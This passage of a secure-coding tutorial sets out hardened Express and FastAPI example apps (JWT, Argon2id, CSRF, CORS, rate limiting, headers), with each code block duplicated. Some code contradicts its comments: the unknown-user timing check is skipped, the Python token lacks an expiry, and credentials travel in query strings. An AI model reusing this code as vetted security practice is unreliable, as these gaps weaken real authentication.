jose argon2 zod csrf-csrf cookie-parser dotenv pino pino-http \
isomorphic-dompurify @prisma/client
# Dev + tooling (Prisma CLI, types, auditing via built-in npm audit)
npm install -D prisma @types/express @types/cookie-parser typescript tsx# Runtime dependencies
npm install express helmet cors express-rate-limit rate-limit-redis redis \
jose argon2 zod csrf-csrf cookie-parser dotenv pino pino-http \
isomorphic-dompurify @prisma/client
# Dev + tooling (Prisma CLI, types, auditing via built-in npm audit)
npm install -D prisma @types/express @types/cookie-parser typescript tsxserver.ts
ts
import "dotenv/config"; // (11) load .env for LOCAL dev only
import express from "express";
import helmet from "helmet"; // (5) security headers
import cors from "cors"; // (4) CORS
import cookieParser from "cookie-parser";
import rateLimit from "express-rate-limit"; // (6) rate limiting
import { RedisStore } from "rate-limit-redis";
import { createClient } from "redis";
import { SignJWT, jwtVerify } from "jose"; // (2) JWT auth (modern lib)
import argon2 from "argon2"; // (3) Argon2id password hashing
import { z } from "zod"; // (7) input validation
import { doubleCsrf } from "csrf-csrf"; // (9) CSRF (replaces deprecated csurf)
import DOMPurify from "isomorphic-dompurify"; // (10) XSS sanitization for rich HTML
import { PrismaClient } from "@prisma/client"; // (8) SQL injection-safe ORM
import pino from "pino";
import pinoHttp from "pino-http"; // (12) structured logging
// ---- (11) Secrets: read from env; in PROD these come from a cloud secret manager ----
const JWT_SECRET = new TextEncoder().encode(process.env.JWT_SECRET!);
const CSRF_SECRET = process.env.CSRF_SECRET!;
const log = pino(); // (12) JSON logger
const prisma = new PrismaClient();
const redis = createClient({ url: process.env.REDIS_URL });
await redis.connect();
const app = express();
app.use(pinoHttp({ logger: log })); // (12) log every request w/ correlation id
app.use(express.json({ limit: "100kb" })); // cap body size (DoS hardening)
app.use(cookieParser());
// ---- (5) Security headers: HSTS, X-Frame-Options, nosniff, CSP - all via Helmet ----
app.use(helmet({
hsts: { maxAge: 31536000, includeSubDomains: true, preload: true }, // Strict-Transport-Security
frameguard: { action: "deny" }, // X-Frame-Options: DENY
// X-Content-Type-Options: nosniff is on by default in Helmet
contentSecurityPolicy: { // CSP - backstops XSS
directives: { defaultSrc: ["'self'"], scriptSrc: ["'self'"], objectSrc: ["'none'"] },
},
}));
// ---- (4) CORS: strict allowlist, credentials enabled ----
app.use(cors({
origin: ["https://app.example.com"], // never "*" with credentials
credentials: true,
methods: ["GET", "POST"],
}));
// ---- (6) Rate limiting: Redis-backed so it works across instances ----
app.use(rateLimit({
windowMs: 15 * 60_000, // 15 min window
max: 100, // 100 requests / IP / window
standardHeaders: true,
store: new RedisStore({ sendCommand: (...args) => redis.sendCommand(args) }),
}));
// ---- (9) CSRF: double-submit cookie pattern (csrf-csrf) ----
const { doubleCsrfProtection, generateCsrfToken } = doubleCsrf({
getSecret: () => CSRF_SECRET,
getSessionIdentifier: (req) => req.cookies["session"] ?? "anon",
cookieName: "__Host-csrf", // __Host- prefix hardens the cookie
cookieOptions: { sameSite: "strict", secure: true, httpOnly: true },
getCsrfTokenFromRequest: (req) => req.headers["x-csrf-token"] as string,
});
// Hand the SPA a CSRF token to echo back on mutations
app.get("/csrf-token", (req, res) => res.json({ token: generateCsrfToken(req, res) }));
// ---- (7) Input validation: zod schema = runtime check + TS type ----
const RegisterSchema = z.object({
email: z.string().email(),
password: z.string().min(12).max(128),
bio: z.string().max(500).optional(),
});
// ---- (2)(3)(7)(8)(10) Registration: validate → hash → sanitize → store ----
app.post("/register", async (req, res) => {
const parsed = RegisterSchema.safeParse(req.body); // (7) validate
if (!parsed.success) return res.status(422).json({ errors: parsed.error.issues });
const { email, password, bio } = parsed.data;
const passwordHash = await argon2.hash(password, { // (3) Argon2id (defaults are id)
type: argon2.argon2id, memoryCost: 65536, timeCost: 3, parallelism: 4,
});
const safeBio = bio ? DOMPurify.sanitize(bio) : null; // (10) strip any XSS payload
// (8) Prisma parameterizes automatically - no string-built SQL, no injection
const user = await prisma.user.create({ data: { email, passwordHash, bio: safeBio } });
log.info({ userId: user.id }, "user registered"); // (12) structured log, no secrets
res.status(201).json({ id: user.id });
});
// ---- (2)(3) Login: verify hash → issue JWT ----
app.post("/login", async (req, res) => {
const { email, password } = req.body ?? {};
const user = await prisma.user.findUnique({ where: { email } });
// argon2.verify is constant-time; run it even on unknown users to avoid timing leaks
const ok = user && (await argon2.verify(user.passwordHash, password ?? ""));
if (!ok) return res.status(401).json({ error: "invalid credentials" });
const token = await new SignJWT({ sub: user.id }) // (2) sign JWT
.setProtectedHeader({ alg: "HS256" })
.setIssuer("https://api.example.com").setAudience("app")
.setExpirationTime("15m").sign(JWT_SECRET);
res.json({ token });
});
// ---- (2) Auth middleware: verify signature, exp, aud, iss ----
async function requireAuth(req: any, res: any, next: any) {
const token = req.headers.authorization?.replace("Bearer ", "");
if (!token) return res.status(401).json({ error: "missing token" });
try {
const { payload } = await jwtVerify(token, JWT_SECRET, {
issuer: "https://api.example.com", audience: "app",
});
req.userId = payload.sub;
next();
} catch {
res.status(401).json({ error: "invalid token" });
}
}
// Protected + CSRF-guarded mutation
app.post("/account/delete", requireAuth, doubleCsrfProtection, async (req: any, res) => {
await prisma.user.delete({ where: { id: req.userId } });
res.json({ deleted: true });
});
// ---- (12) Centralized error logging (4-arg error middleware, registered last) ----
app.use((err: any, req: any, res: any, _next: any) => {
log.error({ err, reqId: req.id }, "request failed");
res.status(err.status ?? 500).json({ error: "internal error" });
});
app.listen(3000, () => log.info("listening on :3000"));
// (1) TLS: terminate at Nginx/Caddy/managed platform in front of this process.
// (13) Dependency scanning: run `npm audit --audit-level=high` in CI + enable Dependabot.import "dotenv/config"; // (11) load .env for LOCAL dev only
import express from "express";
import helmet from "helmet"; // (5) security headers
import cors from "cors"; // (4) CORS
import cookieParser from "cookie-parser";
import rateLimit from "express-rate-limit"; // (6) rate limiting
import { RedisStore } from "rate-limit-redis";
import { createClient } from "redis";
import { SignJWT, jwtVerify } from "jose"; // (2) JWT auth (modern lib)
import argon2 from "argon2"; // (3) Argon2id password hashing
import { z } from "zod"; // (7) input validation
import { doubleCsrf } from "csrf-csrf"; // (9) CSRF (replaces deprecated csurf)
import DOMPurify from "isomorphic-dompurify"; // (10) XSS sanitization for rich HTML
import { PrismaClient } from "@prisma/client"; // (8) SQL injection-safe ORM
import pino from "pino";
import pinoHttp from "pino-http"; // (12) structured logging
// ---- (11) Secrets: read from env; in PROD these come from a cloud secret manager ----
const JWT_SECRET = new TextEncoder().encode(process.env.JWT_SECRET!);
const CSRF_SECRET = process.env.CSRF_SECRET!;
const log = pino(); // (12) JSON logger
const prisma = new PrismaClient();
const redis = createClient({ url: process.env.REDIS_URL });
await redis.connect();
const app = express();
app.use(pinoHttp({ logger: log })); // (12) log every request w/ correlation id
app.use(express.json({ limit: "100kb" })); // cap body size (DoS hardening)
app.use(cookieParser());
// ---- (5) Security headers: HSTS, X-Frame-Options, nosniff, CSP - all via Helmet ----
app.use(helmet({
hsts: { maxAge: 31536000, includeSubDomains: true, preload: true }, // Strict-Transport-Security
frameguard: { action: "deny" }, // X-Frame-Options: DENY
// X-Content-Type-Options: nosniff is on by default in Helmet
contentSecurityPolicy: { // CSP - backstops XSS
directives: { defaultSrc: ["'self'"], scriptSrc: ["'self'"], objectSrc: ["'none'"] },
},
}));
// ---- (4) CORS: strict allowlist, credentials enabled ----
app.use(cors({
origin: ["https://app.example.com"], // never "*" with credentials
credentials: true,
methods: ["GET", "POST"],
}));
// ---- (6) Rate limiting: Redis-backed so it works across instances ----
app.use(rateLimit({
windowMs: 15 * 60_000, // 15 min window
max: 100, // 100 requests / IP / window
standardHeaders: true,
store: new RedisStore({ sendCommand: (...args) => redis.sendCommand(args) }),
}));
// ---- (9) CSRF: double-submit cookie pattern (csrf-csrf) ----
const { doubleCsrfProtection, generateCsrfToken } = doubleCsrf({
getSecret: () => CSRF_SECRET,
getSessionIdentifier: (req) => req.cookies["session"] ?? "anon",
cookieName: "__Host-csrf", // __Host- prefix hardens the cookie
cookieOptions: { sameSite: "strict", secure: true, httpOnly: true },
getCsrfTokenFromRequest: (req) => req.headers["x-csrf-token"] as string,
});
// Hand the SPA a CSRF token to echo back on mutations
app.get("/csrf-token", (req, res) => res.json({ token: generateCsrfToken(req, res) }));
// ---- (7) Input validation: zod schema = runtime check + TS type ----
const RegisterSchema = z.object({
email: z.string().email(),
password: z.string().min(12).max(128),
bio: z.string().max(500).optional(),
});
// ---- (2)(3)(7)(8)(10) Registration: validate → hash → sanitize → store ----
app.post("/register", async (req, res) => {
const parsed = RegisterSchema.safeParse(req.body); // (7) validate
if (!parsed.success) return res.status(422).json({ errors: parsed.error.issues });
const { email, password, bio } = parsed.data;
const passwordHash = await argon2.hash(password, { // (3) Argon2id (defaults are id)
type: argon2.argon2id, memoryCost: 65536, timeCost: 3, parallelism: 4,
});
const safeBio = bio ? DOMPurify.sanitize(bio) : null; // (10) strip any XSS payload
// (8) Prisma parameterizes automatically - no string-built SQL, no injection
const user = await prisma.user.create({ data: { email, passwordHash, bio: safeBio } });
log.info({ userId: user.id }, "user registered"); // (12) structured log, no secrets
res.status(201).json({ id: user.id });
});
// ---- (2)(3) Login: verify hash → issue JWT ----
app.post("/login", async (req, res) => {
const { email, password } = req.body ?? {};
const user = await prisma.user.findUnique({ where: { email } });
// argon2.verify is constant-time; run it even on unknown users to avoid timing leaks
const ok = user && (await argon2.verify(user.passwordHash, password ?? ""));
if (!ok) return res.status(401).json({ error: "invalid credentials" });
const token = await new SignJWT({ sub: user.id }) // (2) sign JWT
.setProtectedHeader({ alg: "HS256" })
.setIssuer("https://api.example.com").setAudience("app")
.setExpirationTime("15m").sign(JWT_SECRET);
res.json({ token });
});
// ---- (2) Auth middleware: verify signature, exp, aud, iss ----
async function requireAuth(req: any, res: any, next: any) {
const token = req.headers.authorization?.replace("Bearer ", "");
if (!token) return res.status(401).json({ error: "missing token" });
try {
const { payload } = await jwtVerify(token, JWT_SECRET, {
issuer: "https://api.example.com", audience: "app",
});
req.userId = payload.sub;
next();
} catch {
res.status(401).json({ error: "invalid token" });
}
}
// Protected + CSRF-guarded mutation
app.post("/account/delete", requireAuth, doubleCsrfProtection, async (req: any, res) => {
await prisma.user.delete({ where: { id: req.userId } });
res.json({ deleted: true });
});
// ---- (12) Centralized error logging (4-arg error middleware, registered last) ----
app.use((err: any, req: any, res: any, _next: any) => {
log.error({ err, reqId: req.id }, "request failed");
res.status(err.status ?? 500).json({ error: "internal error" });
});
app.listen(3000, () => log.info("listening on :3000"));
// (1) TLS: terminate at Nginx/Caddy/managed platform in front of this process.
// (13) Dependency scanning: run `npm audit --audit-level=high` in CI + enable Dependabot.Python / FastAPI — complete, commented app
Install everything in one go
bash
pip install "fastapi[standard]" uvicorn "pydantic-settings" \
"pyjwt[crypto]" argon2-cffi "sqlalchemy[asyncio]" asyncpg \
fastapi-limiter redis fastapi-csrf-protect nh3 structlog pip-auditpip install "fastapi[standard]" uvicorn "pydantic-settings" \
"pyjwt[crypto]" argon2-cffi "sqlalchemy[asyncio]" asyncpg \
fastapi-limiter redis fastapi-csrf-protect nh3 structlog pip-auditmain.py
python
from contextlib import asynccontextmanager
import nh3 # (10) XSS sanitizer (replaces deprecated bleach)
import jwt # (2) PyJWT
import structlog # (12) structured JSON logging
from argon2 import PasswordHasher # (3) Argon2id hashing
from argon2.exceptions import VerifyMismatchError
from fastapi import Depends, FastAPI, HTTPException, Request, Response
from fastapi.middleware.cors import CORSMiddleware # (4) CORS
from fastapi.security import OAuth2PasswordBearer
from pydantic import BaseModel, EmailStr, Field # (7) input validation
from pydantic_settings import BaseSettings # (11) secrets/config
from fastapi_csrf_protect import CsrfProtect # (9) CSRF (double-submit)
from fastapi_csrf_protect.exceptions import CsrfProtectError
from fastapi_limiter import FastAPILimiter # (6) rate limiting (Redis)
from fastapi_limiter.depends import RateLimiter
import redis.asyncio as aioredis
from sqlalchemy import String, select
from sqlalchemy.ext.asyncio import AsyncSession, async_sessionmaker, create_async_engine
from sqlalchemy.orm import DeclarativeBase, Mapped, mapped_column
log = structlog.get_logger() # (12) JSON logger
ph = PasswordHasher(memory_cost=65536, time_cost=3, parallelism=4) # (3) Argon2id params
# ---- (11) Secrets: pydantic-settings reads env; in PROD inject from a cloud secret manager ----
class Settings(BaseSettings):
jwt_secret: str
database_url: str
redis_url: str = "redis://localhost:6379"
csrf_secret: str
settings = Settings() # raises if a required secret is missing - fail fast
# ---- (9) CSRF configuration ----
class CsrfSettings(BaseModel):
secret_key: str = settings.csrf_secret
cookie_samesite: str = "strict"
@CsrfProtect.load_config
def _csrf_config():
return CsrfSettings()
# ---- (8) SQLAlchemy 2.0 async - parameterized queries, no SQL injection ----
class Base(DeclarativeBase): ...
class User(Base):
__tablename__ = "users"
id: Mapped[int] = mapped_column(primary_key=True)
email: Mapped[str] = mapped_column(String, unique=True, index=True)
password_hash: Mapped[str] = mapped_column(String)
bio: Mapped[str | None] = mapped_column(String, nullable=True)
engine = create_async_engine(settings.database_url, pool_pre_ping=True)
SessionLocal = async_sessionmaker(engine, expire_on_commit=False)
async def get_db() -> AsyncSession:
async with SessionLocal() as session:
yield session
@asynccontextmanager
async def lifespan(app: FastAPI):
await FastAPILimiter.init(aioredis.from_url(settings.redis_url)) # (6) init rate limiter
yield
app = FastAPI(lifespan=lifespan)
# ---- (5) Security headers middleware (no Helmet in FastAPI - set them explicitly) ----
@app.middleware("http")
async def security_headers(request: Request, call_next):
response = await call_next(request)
response.headers["Strict-Transport-Security"] = "max-age=31536000; includeSubDomains; preload"
response.headers["X-Frame-Options"] = "DENY" # clickjacking
response.headers["X-Content-Type-Options"] = "nosniff" # MIME sniffing
response.headers["Content-Security-Policy"] = ( # backstops XSS
"default-src 'self'; script-src 'self'; object-src 'none'"
)
return response
# ---- (4) CORS: strict allowlist ----
app.add_middleware(
CORSMiddleware,
allow_origins=["https://app.example.com"], # never "*" with credentials
allow_credentials=True,
allow_methods=["GET", "POST"],
allow_headers=["Authorization", "X-CSRF-Token"],
)
# ---- (9) CSRF error handler ----
@app.exception_handler(CsrfProtectError)
async def csrf_error(request: Request, exc: CsrfProtectError):
return Response(status_code=exc.status_code, content=exc.message)
oauth2 = OAuth2PasswordBearer(tokenUrl="login")
# ---- (7) Input validation: Pydantic model → automatic 422 on bad input ----
class RegisterIn(BaseModel):
email: EmailStr
password: str = Field(min_length=12, max_length=128)
bio: str | None = Field(default=None, max_length=500)
# ---- (2)(3)(7)(8)(10) Registration: validate → hash → sanitize → store ----
@app.post("/register", status_code=201, dependencies=[Depends(RateLimiter(times=5, minutes=15))])
async def register(body: RegisterIn, db: AsyncSession = Depends(get_db)):
password_hash = ph.hash(body.password) # (3) Argon2id
safe_bio = nh3.clean(body.bio) if body.bio else None # (10) strip XSS payloads
user = User(email=body.email, password_hash=password_hash, bio=safe_bio)
db.add(user) # (8) ORM parameterizes - safe
await db.commit()
await db.refresh(user)
log.info("user_registered", user_id=user.id) # (12) structured, no secrets
return {"id": user.id}
# ---- (2)(3)(6) Login: rate-limited, verify hash, issue JWT ----
@app.post("/login", dependencies=[Depends(RateLimiter(times=5, minutes=15))]) # (6) throttle brute force
async def login(email: str, password: str, db: AsyncSession = Depends(get_db)):
user = (await db.execute(select(User).where(User.email == email))).scalar_one_or_none()
try:
if not user or not ph.verify(user.password_hash, password): # (3) constant-time verify
raise VerifyMismatchError
except VerifyMismatchError:
raise HTTPException(401, "invalid credentials")
token = jwt.encode( # (2) sign JWT
{"sub": str(user.id), "iss": "https://api.example.com", "aud": "app"},
settings.jwt_secret, algorithm="HS256",
)
return {"token": token}
# ---- (2) Auth dependency: verify signature, aud, iss, exp ----
async def current_user(token: str = Depends(oauth2)) -> str:
try:
payload = jwt.decode(
token, settings.jwt_secret, algorithms=["HS256"],
audience="app", issuer="https://api.example.com",
)
except jwt.PyJWTError:
raise HTTPException(401, "invalid token")
return payload["sub"]
# ---- (9) CSRF-protected + authenticated mutation ----
@app.post("/account/delete")
async def delete_account(
request: Request,
user_id: str = Depends(current_user),
csrf: CsrfProtect = Depends(),
db: AsyncSession = Depends(get_db),
):
await csrf.validate_csrf(request) # (9) reject forged requests
user = await db.get(User, int(user_id))
if user:
await db.delete(user)
await db.commit()
return {"deleted": True}
# (1) TLS: terminate at Nginx/Caddy/managed platform in front of uvicorn.
# (13) Dependency scanning: run `pip-audit` in CI + enable Dependabot.
# Run: uvicorn main:app --host 0.0.0.0 --port 8000 (behind an HTTPS reverse proxy)from contextlib import asynccontextmanager
import nh3 # (10) XSS sanitizer (replaces deprecated bleach)
import jwt # (2) PyJWT
import structlog # (12) structured JSON logging
from argon2 import PasswordHasher # (3) Argon2id hashing
from argon2.exceptions import VerifyMismatchError
from fastapi import Depends, FastAPI, HTTPException, Request, Response
from fastapi.middleware.cors import CORSMiddleware # (4) CORS
from fastapi.security import OAuth2PasswordBearer
from pydantic import BaseModel, EmailStr, Field # (7) input validation
from pydantic_settings import BaseSettings # (11) secrets/config
from fastapi_csrf_protect import CsrfProtect # (9) CSRF (double-submit)
from fastapi_csrf_protect.exceptions import CsrfProtectError
from fastapi_limiter import FastAPILimiter # (6) rate limiting (Redis)
from fastapi_limiter.depends import RateLimiter
import redis.asyncio as aioredis
from sqlalchemy import String, select
from sqlalchemy.ext.asyncio import AsyncSession, async_sessionmaker, create_async_engine
from sqlalchemy.orm import DeclarativeBase, Mapped, mapped_column
log = structlog.get_logger() # (12) JSON logger
ph = PasswordHasher(memory_cost=65536, time_cost=3, parallelism=4) # (3) Argon2id params
# ---- (11) Secrets: pydantic-settings reads env; in PROD inject from a cloud secret manager ----
class Settings(BaseSettings):
jwt_secret: str
database_url: str
redis_url: str = "redis://localhost:6379"
csrf_secret: str
settings = Settings() # raises if a required secret is missing - fail fast
# ---- (9) CSRF configuration ----
class CsrfSettings(BaseModel):
secret_key: str = settings.csrf_secret
cookie_samesite: str = "strict"
@CsrfProtect.load_config
def _csrf_config():
return CsrfSettings()
# ---- (8) SQLAlchemy 2.0 async - parameterized queries, no SQL injection ----
class Base(DeclarativeBase): ...
class User(Base):
__tablename__ = "users"
id: Mapped[int] = mapped_column(primary_key=True)
email: Mapped[str] = mapped_column(String, unique=True, index=True)
password_hash: Mapped[str] = mapped_column(String)
bio: Mapped[str | None] = mapped_column(String, nullable=True)
engine = create_async_engine(settings.database_url, pool_pre_ping=True)
SessionLocal = async_sessionmaker(engine, expire_on_commit=False)
async def get_db() -> AsyncSession:
async with SessionLocal() as session:
yield session
@asynccontextmanager
async def lifespan(app: FastAPI):
await FastAPILimiter.init(aioredis.from_url(settings.redis_url)) # (6) init rate limiter
yield
app = FastAPI(lifespan=lifespan)
# ---- (5) Security headers middleware (no Helmet in FastAPI - set them explicitly) ----
@app.middleware("http")
async def security_headers(request: Request, call_next):
response = await call_next(request)
response.headers["Strict-Transport-Security"] = "max-age=31536000; includeSubDomains; preload"
response.headers["X-Frame-Options"] = "DENY" # clickjacking
response.headers["X-Content-Type-Options"] = "nosniff" # MIME sniffing
response.headers["Content-Security-Policy"] = ( # backstops XSS
"default-src 'self'; script-src 'self'; object-src 'none'"
)
return response
# ---- (4) CORS: strict allowlist ----
app.add_middleware(
CORSMiddleware,
allow_origins=["https://app.example.com"], # never "*" with credentials
allow_credentials=True,
allow_methods=["GET", "POST"],
allow_headers=["Authorization", "X-CSRF-Token"],
)
# ---- (9) CSRF error handler ----
@app.exception_handler(CsrfProtectError)
async def csrf_error(request: Request, exc: CsrfProtectError):
return Response(status_code=exc.status_code, content=exc.message)
oauth2 = OAuth2PasswordBearer(tokenUrl="login")
# ---- (7) Input validation: Pydantic model → automatic 422 on bad input ----
class RegisterIn(BaseModel):
email: EmailStr
password: str = Field(min_length=12, max_length=128)
bio: str | None = Field(default=None, max_length=500)
# ---- (2)(3)(7)(8)(10) Registration: validate → hash → sanitize → store ----
@app.post("/register", status_code=201, dependencies=[Depends(RateLimiter(times=5, minutes=15))])
async def register(body: RegisterIn, db: AsyncSession = Depends(get_db)):
password_hash = ph.hash(body.password) # (3) Argon2id
safe_bio = nh3.clean(body.bio) if body.bio else None # (10) strip XSS payloads
user = User(email=body.email, password_hash=password_hash, bio=safe_bio)
db.add(user) # (8) ORM parameterizes - safe
await db.commit()
await db.refresh(user)
log.info("user_registered", user_id=user.id) # (12) structured, no secrets
return {"id": user.id}
# ---- (2)(3)(6) Login: rate-limited, verify hash, issue JWT ----
@app.post("/login", dependencies=[Depends(RateLimiter(times=5, minutes=15))]) # (6) throttle brute force
async def login(email: str, password: str, db: AsyncSession = Depends(get_db)):
user = (await db.execute(select(User).where(User.email == email))).scalar_one_or_none()
try:
if not user or not ph.verify(user.password_hash, password): # (3) constant-time verify
raise VerifyMismatchError
except VerifyMismatchError:
raise HTTPException(401, "invalid credentials")
token = jwt.encode( # (2) sign JWT
{"sub": str(user.id), "iss": "https://api.example.com", "aud": "app"},
settings.jwt_secret, algorithm="HS256",
)
return {"token": token}
# ---- (2) Auth dependency: verify signature, aud, iss, exp ----
async def current_user(token: str = Depends(oauth2)) -> str:
try:
payload = jwt.decode(
token, settings.jwt_secret, algorithms=["HS256"],
audience="app", issuer="https://api.example.com",
)
except jwt.PyJWTError:
raise HTTPException(401, "invalid token")
return payload["sub"]
# ---- (9) CSRF-protected + authenticated mutation ----
@app.post("/account/delete")
async def delete_account(
request: Request,
user_id: str = Depends(current_user),
csrf: CsrfProtect = Depends(),
db: AsyncSession = Depends(get_db),
):
await csrf.validate_csrf(request) # (9) reject forged requests
user = await db.get(User, int(user_id))
if user:
await db.delete(user)
await db.commit()
return {"deleted": True}
# (1) TLS: terminate at Nginx/Caddy/managed platform in front of uvicorn.
# (13) Dependency scanning: run `pip-audit` in CI + enable Dependabot.
# Run: uvicorn main:app --host 0.0.0.0 --port 8000 (behind an HTTPS reverse proxy)Wrapping up
The security concepts are portable — the same 13 boxes need ticking whatever your stack. What changes is the package you reach for, and that list rots faster than most tutorials admit. The two things most likely to bite you in 2026:
- Stop using
csurf(Node) andbleach(Python). Both are deprecated. Usecsrf-csrfandnh3. - Default to Argon2id for new password storage; keep bcrypt only where it's already deployed.
Pin these choices, wire npm audit / pip-audit into CI, put a reverse proxy in front for TLS, and you've covered the fundamentals in both stacks with current, maintained tooling.
Package recommendations verified against the OWASP Cheat Sheets, the Express deprecation notice, and PyPI/npm status as of mid-2026. Always re-check versions and CVEs before shipping — that's what row 13 is for.